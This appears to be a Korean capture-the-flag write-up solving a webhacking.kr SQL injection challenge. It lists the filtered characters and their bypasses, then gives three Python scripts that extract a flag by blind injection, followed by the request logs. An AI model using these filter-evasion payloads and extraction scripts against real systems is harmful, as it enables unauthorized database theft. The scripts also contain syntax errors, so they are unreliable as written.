첫번째 텍스트 입력폼에 값을 입력하면 no 라는 파라미터로 서버에 전달된다.

1을 입력하면 화면에 1이 출력되고 그 이외 값은 전부 0이 출력된다. (0을 입력할 경우 재입력하는 것 같음)

no=100 or 1=1# 을 입력해 항상 참이되는 결과를 출력하려 했지만 필터처리된다.



// 필터 문자

#

--

/**/

=

<, >

like

ascii

hex

char

mid

and

||   or는 필터처리안하면서?..

&&

left

right

limit


...



// 사용가능한 문자

or

substr

bin

lpad

(, )

IN


필터 우회(equal 우회)

// no = 100 or 1 IN (1)

no=100%0aor%0a1%0aIN%281%29 를 URL에 입력하니 참 페이지가 출력됐다.

이번 문제도 블라인드 SQL 인젝션을 통해 힌트에 나온 flag 값을 추출해보자.


우선 flag의 길이를 확인할 것이다.

no=100 or length(flag) IN(flag 길이) 와 같이 참이 되도록 하나하나 입력해보다 안나와서 뭐지 싶었다.

no=1 or length(flag) IN(flag 길이)로 바꿔서 항상 참이 되도록 한 다음 서버로 보내도 Result 0이 출력되었다.

순간 뭐지? 하다가 추측한 결과 flag는 다른 테이블에 있는 필드라는 것이다. 


결과화면을 보았을 때 쿼리문을 추측하면 다음과 같다.

<?

...


if($_GET['idx'] < 0){ echo "no hack!"; exit; } if(!empty($_GET['idx'])){ $qry = "SELECT * FROM test WHERE idx=".$_GET['idx']; $result = mysql_query($qry,$connect); $num_rows = @mysql_num_rows($result); if($num_rows){ echo "<table border=1 cellpadding=10 width=200><tr><td>result</td></tr><tr><td>".$num_rows."</td></tr></table>"; }else{ echo "<table border=1 cellpadding=10 width=200><tr><td>result</td></tr><tr><td>".'0'."</td></tr></table>"; } }


...

?>


힌트에서도 나왔듯 flag 필드는 prob13password라는 테이블에 존재한다.

no=IF((SELECT length(flag) from prob13password) IN(flag 길이) , 1,2) 와 같이 prob13password에서 flag 길이가 맞으면 1, 틀리면 2를 no 파라미터에

전달한다. no 파라미터가 1이면 result는 1로 출력되고 그 이외 값은 0을 출력하는 특성을 이용한 것이다.


하지만 현재 prob13password 테이블에는 레코드가 1개 이상 존재하여 아래와 같은 오류메시지를 출력한다. (로컬에서 테스트해본 결과)

ERROR 1242 (21000): Subquery returns more than 1 row

따라서 limit 등과 같이 특정 레코드만 추출할 수 있어야 하는데 필터돼있다.

우선 레코드가 몇개 존재하는지 count() 집계 함수를 사용해 알아낸다. (집계함수는 SELECT 또는 HAVING 절에 위치함. 다른곳은 못씀.)

no=IF((SELECT count(flag) FROM prob13password)IN(2),1,100) 에서 참이 출력됐다. prob13password 테이블에 레코드는 2개존재하며 

특정 레코드를 추출하기 위해 min, max() 함수를 사용한다.

no=IF((SELECT length(min(flag)) from prob13password) IN(flag 길이) , 1,2) 




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import urllib2
import urllib
import re
 
TrueKeyword = "<td>result</td></tr><tr><td>1</td>"
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'}
 
params = {'id' : 'rap1er''pw' : 'PASSWORD'}
id_pw = urllib.urlencode(params)
url = "http://webhacking.kr"
 
req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes.
res = urllib2.urlopen(req)
session_id = res.headers.get("Set-Cookie")
print "GET SESSION-ID : "+session_id
 
 
##################################################################
#     password length   
#    ex) no=IF((SELECT substr(lpad(bin(length(min(flag))),7,0),{},1) from prob13password) IN(0),1,2)
#        
##################################################################
blind_target_url = "http://webhacking.kr/challenge/web/web-10/index.php?"
bin_pw =""
for i in xrange(1,8):
    injectParams = "no=IF((SELECT substr(lpad(bin(length(min(flag))),7,0),{},1) from prob13password) IN(0),1,2)".format(i).replace(" ","%0a")
    print injectParams
    req = urllib2.Request(blind_target_url+injectParams, headers=headers)
    req.add_header("cookie", session_id)
    res = urllib2.urlopen(req)
    data = res.read()
    find = re.findall(TrueKeyword, data)
    if find:
        bin_pw+='0'
    else:
        bin_pw+='1'
 
print "password length :" + str(int(bin_pw,2))
 
 
##################################################################
#     password string 
#    select substr(lpad(bin(hex(substr(pw,{},1))),7,0),{},1);
#    no=IF((SELECT substr(min(flag),{},1) from prob13password) IN({}),1,2)
##################################################################
count=1
password = ""
for i in xrange(1int(bin_pw,2)+1):
    bin_tmp = ""
    for j in xrange(0x210x7F):
        injectParams = "no=IF((SELECT substr(min(flag),"+str(i)+",1) from prob13password) IN("+hex(j)+"),1,2)"
        injectParams = injectParams.replace(" ","%0a")
 
        req = urllib2.Request(blind_target_url+injectParams, headers=headers)
        req.add_header("cookie", session_id)
        res = urllib2.urlopen(req)
        data = res.read()
        find = re.findall(TrueKeyword, data)
        print "[+] Request : " + injectParams + " --> {}'s injection ={}".format(count, chr(j))
        count+=1
 
        if find:
            password+=chr(j);
            break
 
 
    print "{}'s password : ".format(i)+ password
 
print "PASSWORDDDDDDDD is :" + password
 
cs



XOR 연산자를 통해 = 필터를 우회할 수 있다.

[참고]

2018/09/06 - [WEB Hacking/MySQL] - [MySQL] equal(=) 우회 (IN, regexp, like, XOR)



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import urllib2
import urllib
import re
 
TrueKeyword = "<td>result</td></tr><tr><td>1</td>"
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'}
 
params = {'id' : 'rap1er''pw' : 'passsssword'}
id_pw = urllib.urlencode(params)
url = "http://webhacking.kr"
 
req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes.
res = urllib2.urlopen(req)
session_id = res.headers.get("Set-Cookie")
print "GET SESSION-ID : "+session_id
 
 
##################################################################
#     password length   
#    ex) no=(SELECT length(min(flag)) from prob13password)^{}^1
#        
##################################################################
blind_target_url = "http://webhacking.kr/challenge/web/web-10/index.php?"
bin_pw =""
for i in xrange(1,51):
    injectParams = "no=(SELECT length(min(flag)) from prob13password)%5E"+str(i)+"%5E1"
    injectParams = injectParams.replace(" ","%0a")
    print injectParams
    req = urllib2.Request(blind_target_url+injectParams, headers=headers)
    req.add_header("cookie", session_id)
    res = urllib2.urlopen(req)
    data = res.read()
    find = re.findall(TrueKeyword, data)
    if find:
        break
 
print "password length :" + str(i)
 
cs




// Efficient Blind SQL 인젝션 

ascii 함수가 필터돼서 위 스크립트 방법으로 했는데 ascii 함수와 동일한 기능을 하는 함수를 알게됨

ord() 함수로 ascii 함수가 필터처리 된 것을 우회할 수 있음.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import urllib2
import urllib
import re
 
TrueKeyword = "<td>result</td></tr><tr><td>1</td>"
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'}
 
params = {'id' : 'rap1er''pw' : 'passssword'}
id_pw = urllib.urlencode(params)
url = "http://webhacking.kr"
 
req = urllib2.Request(url, id_pw, headers=headers) # POST Data should be Bytes.
res = urllib2.urlopen(req)
session_id = res.headers.get("Set-Cookie")
print "GET SESSION-ID : "+session_id
 
 
##################################################################
#     password length   
#    ex) no=IF((SELECT substr(lpad(bin(length(min(flag))),7,0),{},1) from prob13password) IN(0),1,2)
#        
##################################################################
blind_target_url = "http://webhacking.kr/challenge/web/web-10/index.php?"
bin_pw =""
for i in xrange(1,8):
    injectParams = "no=IF((SELECT substr(lpad(bin(length(min(flag))),7,0),{},1) from prob13password) IN(0),1,2)".format(i).replace(" ","%0a")
    print injectParams
    req = urllib2.Request(blind_target_url+injectParams, headers=headers)
    req.add_header("cookie", session_id)
    res = urllib2.urlopen(req)
    data = res.read()
    find = re.findall(TrueKeyword, data)
    if find:
        bin_pw+='0'
    else:
        bin_pw+='1'
 
print "password length :" + str(int(bin_pw,2))
 
 
##################################################################
#     password string 
#     no=IF((SELECT substr(lpad(bin(ord(substr(min(flag),{},1))),7,0),{},1) from prob13password) IN(0),1,2)
##################################################################
count=1
password = ""
for i in xrange(1int(bin_pw,2)+1):
    bin_tmp = ""
    for j in xrange(18):
        injectParams = "no=IF((SELECT substr(lpad(bin(ord(substr(min(flag),{},1))),7,0),{},1) from prob13password) IN(0),1,2)".format(i,j).replace(" ","%0a")
 
        req = urllib2.Request(blind_target_url+injectParams, headers=headers)
        req.add_header("cookie", session_id)
        res = urllib2.urlopen(req)
        data = res.read()
        find = re.findall(TrueKeyword, data)
        count+=1
        if find:
            bin_tmp += '0'
            print "[+] Request : " + injectParams + " --> {}'s injection ={}".format(count, 0)
        else:
            bin_tmp += '1'
    print "[+] Request : " + injectParams + " --> {}'s injection ={}".format(count, 1)
 
    password += chr(int(bin_tmp,2))
 
 
    print "{}'s password : ".format(i)+ password
 
print "PASSWORDDDDDDDD is :" + password
 
 
 
 
cs






18's password : challenge13luckcle

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),1,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 128's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),2,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 129's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),3,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 130's injection =0

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),3,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 130's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),4,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 131's injection =0

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),4,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 131's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),5,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 132's injection =0

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),5,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 132's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),6,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 133's injection =0

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),6,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 133's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),19,1))),7,0),7,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 134's injection =1

19's password : challenge13luckclea

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),1,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 135's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),2,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 136's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),3,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 137's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),4,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 138's injection =0

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),4,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 138's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),5,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 139's injection =0

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),5,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 139's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),6,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 140's injection =1

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),7,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 141's injection =0

[+] Request : no=IF((SELECT%0asubstr(lpad(bin(ord(substr(min(flag),20,1))),7,0),7,1)%0afrom%0aprob13password)%0aIN(0),1,2) --> 141's injection =1

20's password : challenge13luckclear

PASSWORDDDDDDDD is :challenge13luckclear


+ Recent posts